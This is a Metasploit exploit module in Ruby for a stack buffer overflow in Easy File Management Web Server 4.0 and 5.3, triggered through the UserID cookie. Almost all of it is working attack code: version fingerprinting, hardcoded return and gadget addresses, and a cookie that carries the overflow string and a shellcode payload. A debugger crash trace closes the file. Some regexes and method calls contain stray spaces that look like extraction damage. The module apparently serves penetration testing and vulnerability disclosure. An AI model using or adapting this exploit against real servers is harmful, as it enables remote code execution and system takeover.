require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super (update_info(info,
'Name' => 'Easy File Management Web Server Stack Buffer Overflow' ,
'Description' => %q{
Easy File Management Web Server v4. 0 and v5. 3 contains a stack buffer
overflow condition that is triggered as user-supplied input is not
properly validated when handling the UserID cookie. This may allow a
remote attacker to execute arbitrary code.
},
'Author' =>
[
'superkojiman' ,
'Julien Ahrens' ,
'TecR0c <roccogiovannicalvi[at]gmail.com>'
],
'License' => MSF_LICENSE ,
'References' =>
[
[ 'OSVDB' , '107241' ],
[ 'EDB' , '33610' ],
[ 'BID' , '67542' ],
],
'Platform' => 'win' ,
'Arch' => ARCH_X86 ,
'DefaultOptions' =>
{
'EXITFUNC' => 'process'
},
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d;" ,
'Space' => 3420
},
'Targets' =>
[
[ 'Automatic Targeting' , { 'auto' => true }],
[ 'Efmws 5.3 Universal' , { 'Esp' => 0xA445ABCF, 'Ret' => 0x10010101 }],
[ 'Efmws 4.0 Universal' , { 'Esp' => 0xA4518472, 'Ret' => 0x10010101 }],
],
'DisclosureDate' => 'May 20 2014' ,
'DefaultTarget' => 0 ))
register_options(
[
OptString. new ( 'TARGETURI' , [ true , 'The URI path of an existing resource' , '/vfolder.ghp' ])
], self . class )
end
def get_version
version = nil
res = send_request_raw({ 'uri' => '/whatsnew.txt' })
if res && res.body =~ /What's new in Easy File Management Web Server V (\d\.\d)/
version = $1
vprint_status "#{peer} - Found version: #{version}"
elsif res.headers[ 'server' ] =~ /Easy File Management Web Server v( 4 \. 0 )/
version = $1
vprint_status "#{peer} - Based on Server header: #{version}"
end
version
end
def check
code = Exploit::CheckCode::Safe
version = get_version
if version. nil ?
code = Exploit::CheckCode::Unknown
elsif version == "5.3"
code = Exploit::CheckCode::Appears
elsif version == "4.0"
code = Exploit::CheckCode::Appears
end
code
end
def exploit
print_status( "#{peer} - Fingerprinting version..." )
version = get_version
if target.name =~ /Automatic/
if version. nil ?
fail_with(Failure::NoTarget, "#{peer} - Unable to automatically detect a target" )
elsif version =~ / 5 \. 3 /
my_target = targets[ 1 ]
elsif version =~ / 4 \. 0 /
my_target = targets[ 2 ]
end
print_good( "#{peer} - Version #{version} found" )
else
my_target = target
unless version && my_target.name.include?(version)
print_error( "#{peer} - The selected target doesn't match the detected version, trying anyway..." )
end
end
sploit = rand_text( 80 )
sploit << [0x1001D8C8].pack( "V" )
sploit << rand_text( 280 )
sploit << [my_target.ret].pack( "V" )
sploit << [my_target[ 'Esp' ]].pack( "V" )
sploit << [0x10010125].pack( "V" )
sploit << [0x10022AAC].pack( "V" )
sploit << rand_text( 8 )
sploit << [0x1001A187].pack( "V" )
sploit << [0x1002466D].pack( "V" )
sploit << payload.encoded
print_status "#{peer} - Trying target #{my_target.name}..."
send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'cookie' => "SESSIONID=; UserID=#{sploit}; PassWD=;" ,
}, 1 )
end
end
= begin
eax=000007d1 ebx= 00000000 ecx=000001f4 edx=016198ac esi= 01668084 edi=016198ac
eip=0044f57d esp=016197e8 ebp=ffffffff iopl= 0 nv up ei pl nz na po nc
cs=001b ss= 0023 ds= 0023 es= 0023 fs=003b gs= 0000 efl= 00000202
fmws+0x4f57d:
0044f57d f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0 : 004 > dd @esi
01668084 41414141 41414141 41414141 41414141
01668094 41414141 41414141 41414141 41414141
016680a4 41414141 41414141 41414141 41414141
016680b4 41414141 41414141 41414141 41414141
016680c4 41414141 41414141 41414141 41414141
016680d4 41414141 41414141 41414141 41414141
016680e4 41414141 41414141 41414141 41414141
016680f4 41414141 41414141 41414141 41414141
(c38.8cc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax= 00000000 ebx= 00000000 ecx=015198fc edx= 41414141 esi=015198ec edi=015198fc
eip= 00468702 esp=015197c0 ebp=ffffffff iopl= 0 nv up ei pl nz na pe nc
cs=001b ss= 0023 ds= 0023 es= 0023 fs=003b gs= 0000 efl= 00010206
fmws+0x68702:
00468702 ff5228 call dword ptr [edx+28h] ds: 0023 : 41414169 =????????
= end
|